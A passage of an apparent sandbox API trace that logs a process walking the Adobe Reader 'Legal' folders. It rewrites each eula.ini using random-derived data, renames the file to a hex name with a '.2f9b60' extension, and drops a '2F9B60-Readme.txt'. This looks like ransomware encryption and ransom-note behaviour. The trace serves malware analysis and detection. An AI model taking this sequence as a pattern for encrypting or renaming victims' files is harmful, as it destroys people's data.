RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x1cdb25a0 [0235.395] sprintf (in: _Dest=0x1cdb25a0, _Format="%c%c" | out: _Dest="32") returned 2 [0235.395] sprintf (in: _Dest=0x1cdb25a2, _Format="%c%c" | out: _Dest="7d") returned 2 [0235.395] sprintf (in: _Dest=0x1cdb25a4, _Format="%c%c" | out: _Dest="ca") returned 2 [0235.395] sprintf (in: _Dest=0x1cdb25a6, _Format="%c%c" | out: _Dest="22") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25a8, _Format="%c%c" | out: _Dest="33") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25aa, _Format="%c%c" | out: _Dest="bb") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25ac, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25ae, _Format="%c%c" | out: _Dest="52") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25b0, _Format="%c%c" | out: _Dest="33") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25b2, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25b4, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25b6, _Format="%c%c" | out: _Dest="d1") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25b8, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25ba, _Format="%c%c" | out: _Dest="75") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25bc, _Format="%c%c" | out: _Dest="73") returned 2 [0235.396] sprintf (in: _Dest=0x1cdb25be, _Format="%c%c" | out: _Dest="32") returned 2 [0235.396] RtlInitAnsiString (in: DestinationString=0x2218fd48, SourceString="327dca2233bb5e5233b8e0d1aa757332" | out: DestinationString="327dca2233bb5e5233b8e0d1aa757332") [0235.396] RtlAnsiStringToUnicodeString (in: DestinationString=0x2218fd18, SourceString="327dca2233bb5e5233b8e0d1aa757332", AllocateDestinationString=1 | out: DestinationString="327dca2233bb5e5233b8e0d1aa757332") returned 0x0 [0235.396] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce618d0 [0235.397] wcscat (in: _Dest=0x20508770, _Source="327dca22" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\327dca22") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\327dca22" [0235.397] wcscat (in: _Dest=0x20508770, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\327dca22.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\327dca22.2f9b60" [0235.397] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\327dca22.2f9b60", NtPathName=0x2218fcf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\327dca22.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.397] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20279430 [0236.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279430) returned 1 [0236.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430a2db0) returned 1 [0236.759] NtQueryInformationFile (in: FileHandle=0x2a54, IoStatusBlock=0x2218fd58, FileInformation=0x2218fd68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2218fd58, FileInformation=0x2218fd68) returned 0x0 [0236.759] NtSetInformationFile (FileHandle=0x2a54, IoStatusBlock=0x2218fd58, FileInformation=0x2218fd68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0237.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20508770) returned 1 [0237.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce618d0) returned 1 [0237.002] FlushFileBuffers (hFile=0x2a54) returned 1 [0238.193] CloseHandle (hObject=0x2a54) returned 1 [0241.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43145bc0 [0241.219] wcscpy (in: _Dest=0x43145bc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\" [0241.219] wcscat (in: _Dest=0x43145bc0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\2F9B60-Readme.txt" [0241.219] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\2f9b60-readme.txt")) returned 0xffffffff [0241.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xeec [0244.026] WriteFile (hFile=0xeec, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x2218fc10, lpOverlapped=0x0) Thread: id = 3772 os_tid = 0x20b8 [0227.572] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79dd70 [0227.573] wcscpy (in: _Dest=0x1b79dd70, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" [0227.573] wcscat (in: _Dest=0x1b79dd70, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" [0227.573] wcscat (in: _Dest=0x1b79dd70, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*" [0227.573] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027fb30 [0227.573] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\*", lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f9720 [0228.779] wcscmp (_String1=".", _String2=".") returned 0 [0228.779] FindNextFileW (in: hFindFile=0x431f9720, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81df42a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81df42a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.779] wcscmp (_String1="..", _String2=".") returned 1 [0228.779] wcscmp (_String1="..", _String2="..") returned 0 [0228.779] FindNextFileW (in: hFindFile=0x431f9720, lpFindFileData=0x2027fb30 | out: lpFindFileData=0x2027fb30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81df42a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.779] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.779] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43107650 [0228.780] wcscpy (in: _Dest=0x43107650, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT" [0228.780] wcscat (in: _Dest=0x43107650, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" [0228.780] wcscat (in: _Dest=0x43107650, _Source="eula.ini" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini" [0228.780] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\eula.ini")) returned 0x20 [0228.780] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini", dwFileAttributes=0x20) returned 1 [0228.781] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\eula.ini" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\eula.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1f54 [0228.781] GetFileSizeEx (in: hFile=0x1f54, lpFileSize=0x21a6f8a0 | out: lpFileSize=0x21a6f8a0*=480) returned 1 [0228.781] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0x1dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.781] ReadFile (in: hFile=0x1f54, lpBuffer=0x21a6f820, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21a6f868, lpOverlapped=0x0 | out: lpBuffer=0x21a6f820*, lpNumberOfBytesRead=0x21a6f868*=0x4, lpOverlapped=0x0) returned 1 [0228.782] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.782] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7d0 [0228.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e7a0 [0228.783] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050da80 [0228.783] NtQuerySystemTime (in: CurrentTime=0x21a6f760 | out: CurrentTime=0x21a6f760*=132462178327750000) returned 0x0 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x6d976625 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0xe490894 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x7264c630 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0xb0e19b3 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0xaa82eba [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x528a4d85 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x53141252 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x1807fa68 [0228.783] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x667a61e5 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x2624dae1 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x4de1b2b8 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x27bd739f [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x55616552 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x478f9268 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x2e7bcd16 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x2fcdf25b [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x2aed302b [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x333b1009 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x783cae2f [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x26c6403c [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x3129e21d [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x2ccc78a8 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x7d6266ef [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x53dba7cd [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x43d031e7 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x47024722 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x1d6ff56 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x7ac3c0a1 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x75a83fdd [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x5430fad4 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x46346690 [0228.784] RtlRandomEx (in: Seed=0x21a6f750 | out: Seed=0x21a6f750) returned 0x12e9504e [0228.792] ReadFile (in: hFile=0x1f54, lpBuffer=0x41f900b0, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x21a6f750, lpOverlapped=0x0 | out: lpBuffer=0x41f900b0*, lpNumberOfBytesRead=0x21a6f750*=0x1e0, lpOverlapped=0x0) returned 1 [0228.792] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.792] WriteFile (in: hFile=0x1f54, lpBuffer=0x41fa2d00*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x21a6f754, lpOverlapped=0x0 | out: lpBuffer=0x41fa2d00*, lpNumberOfBytesWritten=0x21a6f754*=0x1e0, lpOverlapped=0x0) returned 1 [0233.026] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab5b0 [0233.027] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202abbb0 [0233.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202abbb0) returned 1 [0233.028] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41fa2d00) returned 1 [0233.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f900b0) returned 1 [0233.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868c40) returned 1 [0233.029] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61830) returned 1 [0233.029] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x202abbb0 [0233.030] SetFilePointerEx (in: hFile=0x1f54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.030] WriteFile (in: hFile=0x1f54, lpBuffer=0x169910*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x21a6f870, lpOverlapped=0x0 | out: lpBuffer=0x169910*, lpNumberOfBytesWritten=0x21a6f870*=0x102, lpOverlapped=0x0) returned 1 [0235.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61a10 [0235.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0235.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d810) returned 1 [0235.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10) returned 0x1b82cfe0 [0235.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d810 [0235.363] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ee90 [0235.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ee90) returned 1 [0235.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.364] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61a10) returned 1 [0235.364] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x21) returned 0x2050ee90 [0235.365] sprintf (in: _Dest=0x2050ee90, _Format="%c%c" | out: _Dest="78") returned 2 [0235.365] sprintf (in: _Dest=0x2050ee92, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.365] sprintf (in: _Dest=0x2050ee94, _Format="%c%c" | out: _Dest="32") returned 2 [0235.365] sprintf (in: _Dest=0x2050ee96, _Format="%c%c" | out: _Dest="08") returned 2 [0235.365] sprintf (in: _Dest=0x2050ee98, _Format="%c%c" | out: _Dest="b4") returned 2 [0235.365] sprintf (in: _Dest=0x2050ee9a, _Format="%c%c" | out: _Dest="2d") returned 2 [0235.365] sprintf (in: _Dest=0x2050ee9c, _Format="%c%c" | out: _Dest="75") returned 2 [0235.365] sprintf (in: _Dest=0x2050ee9e, _Format="%c%c" | out: _Dest="a1") returned 2 [0235.365] sprintf (in: _Dest=0x2050eea0, _Format="%c%c" | out: _Dest="ea") returned 2 [0235.365] sprintf (in: _Dest=0x2050eea2, _Format="%c%c" | out: _Dest="07") returned 2 [0235.365] sprintf (in: _Dest=0x2050eea4, _Format="%c%c" | out: _Dest="fc") returned 2 [0235.365] sprintf (in: _Dest=0x2050eea6, _Format="%c%c" | out: _Dest="57") returned 2 [0235.365] sprintf (in: _Dest=0x2050eea8, _Format="%c%c" | out: _Dest="bd") returned 2 [0235.365] sprintf (in: _Dest=0x2050eeaa, _Format="%c%c" | out: _Dest="c2") returned 2 [0235.365] sprintf (in: _Dest=0x2050eeac, _Format="%c%c" | out: _Dest="fb") returned 2 [0235.365] sprintf (in: _Dest=0x2050eeae, _Format="%c%c" | out: _Dest="c1") returned 2 [0235.365] RtlInitAnsiString (in: DestinationString=0x21a6f8e8, SourceString="78b83208b42d75a1ea07fc57bdc2fbc1" | out: DestinationString="78b83208b42d75a1ea07fc57bdc2fbc1") [0235.365] RtlAnsiStringToUnicodeString (in: DestinationString=0x21a6f8b8, SourceString="78b83208b42d75a1ea07fc57bdc2fbc1", AllocateDestinationString=1 | out: DestinationString="78b83208b42d75a1ea07fc57bdc2fbc1") returned 0x0 [0235.365] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1ce62550 [0235.366] wcscat (in: _Dest=0x205079b0, _Source="78b83208" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\78b83208") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\78b83208" [0235.366] wcscat (in: _Dest=0x205079b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\78b83208.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\78b83208.2f9b60" [0235.366] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\78b83208.2f9b60", NtPathName=0x21a6f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\78b83208.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.366] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x43111920 [0236.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111920) returned 1 [0236.746] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43082640) returned 1 [0236.746] NtQueryInformationFile (in: FileHandle=0x1f54, IoStatusBlock=0x21a6f8f8, FileInformation=0x21a6f908, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21a6f8f8, FileInformation=0x21a6f908) returned 0x0 [0236.747] NtSetInformationFile (FileHandle=0x1f54, IoStatusBlock=0x21a6f8f8, FileInformation=0x21a6f908, Length=0x28, FileInformationClass=0x4) returned 0x0 [0236.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205079b0) returned 1 [0236.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62550) returned 1 [0236.987] FlushFileBuffers (hFile=0x1f54) returned 1 [0238.191] CloseHandle (hObject=0x1f54) returned 1 [0240.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x1b862ca0 [0240.533] wcscpy (in: _Dest=0x1b862ca0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\" [0240.533] wcscat (in: _Dest=0x1b862ca0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\2F9B60-Readme.txt" [0240.533] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\2f9b60-readme.txt")) returned 0xffffffff [0240.533] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHT\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cht\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2360 [0244.023] WriteFile (hFile=0x2360, lpBuffer=0x1b82f9a0, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x21a6f7b0, lpOverlapped=0x0) Thread: id = 3773 os_tid = 0xfb8 [0227.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b79ddf0 [0227.576] wcscpy (in: _Dest=0x1b79ddf0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" [0227.576] wcscat (in: _Dest=0x1b79ddf0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" [0227.576] wcscat (in: _Dest=0x1b79ddf0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*" [0227.576] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027f8c0 [0227.577] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\*", lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x431f97e0 [0228.766] wcscmp (_String1=".", _String2=".") returned 0 [0228.766] FindNextFileW (in: hFindFile=0x431f97e0, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81cc37a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81ce9900, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81ce9900, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0228.766] wcscmp (_String1="..", _String2=".") returned 1 [0228.766] wcscmp (_String1="..", _String2="..") returned 0 [0228.766] FindNextFileW (in: hFindFile=0x431f97e0, lpFindFileData=0x2027f8c0 | out: lpFindFileData=0x2027f8c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81cc37a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.ini", cAlternateFileName="")) returned 1 [0228.766] wcscmp (_String1="eula.ini", _String2=".") returned 1 [0228.767] wcscmp (_String1="eula.ini", _String2="..") returned 1 [0228.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x43155fe0 [0228.767] wcscpy (in: _Dest=0x43155fe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE" [0228.767] wcscat (in: _Dest=0x43155fe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CZE\\" [0228.767] wcscat (in: 